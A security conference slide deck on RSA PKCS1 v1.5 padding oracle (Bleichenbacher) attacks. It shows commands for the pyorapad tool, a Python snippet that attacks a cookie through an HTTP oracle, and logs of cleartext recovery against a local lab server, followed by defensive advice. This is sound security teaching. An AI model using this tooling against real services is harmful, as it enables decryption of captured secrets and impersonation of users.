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Practical RSA padding oracle Attacks
 Alex Moneger
 Security Engineer – Cisco Systems
 03/12/2014
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Agenda1. Textbook RSA problems
 2. PKCS1_v1.5 format
 3. Padding oracles, what’s that?
 4. Bleichenbacher attack
 5. Tooling
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Textbook RSA?• Ciphertext = cleartext e % n
 • Cleartext is a number which cannot be larger than the keysize
 • RSA with no padding is referred to as Textbook RSA
 • It has problems:
 – It’s predictable, same encrypted result for same cleartext input
 – It’s malleable, due to homomorphism
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Textbook RSA problems• Predictability:
 • Malleability
 ➜ pyorapad git:(master) ✗ ./rsa_test_client.py keypairs/256.pub "05"42f7816006de56bc4899a96645dff79227b6ebe40e6c82363c35b07fe4e8d63b➜ pyorapad git:(master) ✗ ./rsa_test_client.py keypairs/256.pub "05"42f7816006de56bc4899a96645dff79227b6ebe40e6c82363c35b07fe4e8d63b
 ➜ pyorapad git:(master) ✗ ./rsa_test_client.py keypairs/256.pub "02"4129a5c8ade1f1a001fef7a6eedbde3d751c9897cbe9762ebb6c968d4046bd08➜ pyorapad git:(master) ✗ ./rsa_test_client.py keypairs/256.pub "03"7025b707f05ad5d7148f01eaf17fda3aac178f4aa48ace00bc8ef6ecf4ce40eb>>> hex((two * three) % n)'0x2d06ea3806280fddaa35137e3d2bad0152d512a23368c65470dbb5072685a50eL'➜ pyorapad git:(master) ✗ ./pkcs1_test_oracle.py keypairs/256.priv 2d06ea3806280fddaa35137e3d2bad0152d512a23368c65470dbb5072685a50e 2> /dev/null0000000000000000000000000000000000000000000000000000000000000006
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Solutions• Add random padding
 • Several proposals:
 – PKCS1 v1.5
 – PKCS1 v2.0 referred to as OAEP
 • Add random bytes in front of the cleartext before encryption
 • Addresses the problems of predictability and malleability
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Problems fixed (PKCS1 v1.5 example)• Predictability
 • Malleability
 ➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "03"061b8a582937938990c284fda22c8016af6b729ff4ef1dc938917321fdfef893➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "03"297a509da9dc28d6f052febb3c6ae265e6e2905f851e380a5c9a03de519c5c7b
 ➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "02"76054771607245a9ad162b4aacb1573c444da8d4c1c7e5afaa3679b383d8fd6b➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "03”ae367c29f4fb340d02c7fae4bd43e699e50afae443f41c1383d49d927d5ff5fd>>> hex((two * three) % n)'0x79f58ce744adb456c35e1391e7dba658a9acece7d400958cebeb385450d925ecL'➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "06"c89593ba78d465d94eb8fab8fccfcfe94ade1369a849671ccc256dc52b009e62
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PKCS1 v1.5• Specifies a padding format
 • Which looks like this:
 1. A header: “\x00\x02”
 2. Some random bytes (minimum 8)
 3. A delimiter “\x00”
 4. Data
 • Pretty simple in reality (e.g: for 0x123456789a)➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -c -x "123456789a"0002c14dcfc27870fa657d0a3446e6571c7f626342e59c1777c600123456789a
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Summary• Textbook RSA has problems
 • Padding solves most of them
 Are we done?
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Oh no, wait…• What’s a padding oracle
 • A padding oracle is something which can tell you whether:
 – Padding is correct– Or not
 • E.g:
 – You failed authentication => HTTP 403– The padding of your authentication request is invalid
 => HTTP 500
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What can you do with this?• Padding oracles generally allow you to decrypt a given ciphertext
 • By querying the oracle repeatedly
 • Use cases:
 – Decrypt that cookie I captured for me please
 – Decrypt that X that I captured through Y
 • Allows “out of band” decryption of some data blob
 • Does not allow to retrieve the private
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Bleichenbacher attack• Is a padding oracle attack on PKCS1 v1.5
 • Original paper from 1998 available here
 • Given an oracle which:
 – Uses PKCS1 v1.5 padding
 – Can tell you if RSA decryption failed due to incorrect padding
 • You can:
 – retrieve the associated cleartext
 – by issuing a high number of request (~1 million)
 – Private key is NOT retrieved
 http://archiv.infsec.ethz.ch/education/fs08/secsem/Bleichenbacher98.pdf
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How does it work• Remember that RSA is homomorphic
 • That PKCS1 v1.5 starts with a fixed header “\x00\x02”:
 – Cleartext is in a given range (0x000200..00 to 0x0002ff..ff)
 • I’ll spare the math, but the general idea is:
 1. Acquire your target ciphertext (c)2. Pick a carefully chosen number (s)3. Encrypt it using the same key as your ciphertext (cs)4. Multiply cs by c5. Query oracle. Is the padding valid?6. If no, increase s and try again
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How does it work (2)• Once in the PKCS1 v1.5 interval
 • Choose s even more carefully (choice of s is the beauty of it)
 • S influences the search interval, so you slowly converge on cleartext m
 • Finally get m
 • Easy, any tools please?

Page 14
                        

Tooling• No available general use tools
 • Now there is one: pyorapad
 • Allows:
 1. Generation of faulty padding2. Sending the payload3. Recording responses4. Recording response times
 • Response times can be used as a side channel to carry out the padding oracle attack
 https://github.com/alexmgr/pyorapad

Page 15
                        

Faulty padding• Given a public key
 • Generate messages with faulty padding
 ➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -c -x "3de553c5e7" -4 -5 00020ddae5009fcab758b81559a28101274ccf522acd1ddb8b08003de553c5e70002220faab241ef7643a519d39db2c4b6aea6d4b4398c84eaefff3de553c5e7➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub -x "3de553c5e7" -4 -5 49a0ee1fea1ce4795227709bad74cc948745e8643528d152220e6106bd612499a9e451901e73deda46d73ce49e98aa381100ac2fd7f697c726ea4c3ce445502f
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Sending it• Pipe faulty padding and send it
 • Record answers and timings:
 • The last case is problematic! Attack time
 ➜ pyorapad git:(master) ✗ ./pkcs1_test_client.py -f keypairs/256.pub "3de553c5e7" -a | http_proxy="http://127.0.0.1:8080" ./http_client.py -u 'http://127.0.0.1:8000' -p Cookie="%s" -i 1
 Code: 403 Duration: 0.035813Code: 403 Duration: 0.049567 Code: 403 Duration: 0.048423 Code: 403 Duration: 0.048562Code: 500 Duration: 0.088740
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Attacking • Offers a high level library to exploit Bleichenbacher type attacks
 • S1 will hold the cleartext
 • A search can take several hours or days
 • Just need to define a callback to parse the oracle output
 o = HttpOracle("http://127.0.0.1", headers={"Cookie":"%0128x”})b = Bleichenbacher.pubkey_from_file("pubkey.pem", o, callback)s1, i = b.run_search("49affbbe68d923e9cd1d2420fec72aea432b5a119df51f1bba89aa1245eeb627d6809eeebb02db75746df85435735e6e6d11067d77c66da23b7722051141bb19")
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Phase 1 in practice• Phase 1, searching s (longest phase):
 • We’re now “hooked” into the PKCS1 v1.5 interval
 DEBUG:padding:Sending task 1 to processing pool:DEBUG:padding: Iteration 1 in task 1DEBUG:padding: S value: 14127DEBUG:padding:Sending task 1 to processing pool:DEBUG:padding: Iteration 2 in task 1DEBUG:padding: S value: 14128…DEBUG:padding:Result for task: DEBUG:padding: Found in iteration 28172 of task: 1DEBUG:padding: S value: 42298INFO:padding:Found PKCS1 conforming message in 28172 iterations for s value: 42298
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Phase 2 in practice• Reducing interval to converge on solution
 • Interval converges slowly towards a single value
 …DEBUG:padding:Calculated interval value:DEBUG:padding: Interval size: 4082354132178261679091063252457130551818787750478360444771869464405877166321037296727379264768802584292717546734416777529449792040180675967627003571248801…DEBUG:padding:Calculated interval value:DEBUG:padding: Interval size: 4DEBUG:padding:Calculated interval value:DEBUG:padding: Interval size: 1DEBUG:padding:Calculated interval value:DEBUG:padding: Interval size: 0INFO:padding:Found cleartext solution:
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Results• The last value in the interval is the solution modulo n
 INFO:padding:Found cleartext solution:INFO:padding: Ciphertext: 18681313587286062135641889229443920979611342782804412111835243686702683071852572419018410834829448119386867206572882926772152590039565443395242327428297484064929331289993073176837818555312018940975162681312639598207414124657744840104859510085525087292502071319630148404307172662102999050705457979498491993909 => 1a9a63081c997974c623e403d7ce6c634716bb387b0f3de975cc3b73db801eb5ed073d80386c8d5e4c8d041eff8b753a184be29758cceff7600b4ac86447f213703c86f6f705b455b7f93d61591f7a9baf8d0801860a00a68e3a5078fb69abba645670688bb217037626dd0ed5c71453d943c9ee48740ed8bc942b9016aadf35INFO:padding: Cleartext: 7202052765616841912918065833570012314264111663325687646005117880768924260457612234561322012931060631468745212219072285304055053719717450688437311913116051107249237406698225122488575471036399864282335516394596442995388467772421125059520611341232370853335240259245614392043581284333901821459787338531300663 => 2a02431a438e0ea2aeb8daa3eb01804ae336465353534825c466acf11cdd9ed248a08b9e35ea1f9c7081ed3c1d29c20770b1a1937e4aebd9f9e81146b74e18ca7e69698c8adbd33c817d711db5542d9dd3c617fdc1f345ba4586233c3b4658b55b469c4c93e4cdc5c31793562c6d952bacf6cf25cd0b3a91a4003de553c5e7INFO:padding:Stopped all worker threads in the pool
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Practicality• This attack is not theoretical
 • Worked in the field (now fixed):
 – Allowed decryption of “customer specific” encrypted blob– Which then allowed to pass traffic as those customers
 (privilege escalation)
 • Is applicable to anything which can process many requests:
 – Smartcards– Cloud services– Network devices
 • It’s not that hard. Do not underestimate padding oracles
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Conclusion• Padding oracles affect CBC mode and RSA
 • Most paddings are vulnerable (including OAEP)
 • Make sure your padding oracles are fixed
 • Especially if customer/network facing
 • Fixing also means giving no timing hints (which is awfully hard)
 • Authenticate your crypto (encryption is not authentication)
 • Authenticate your crypto after encryption
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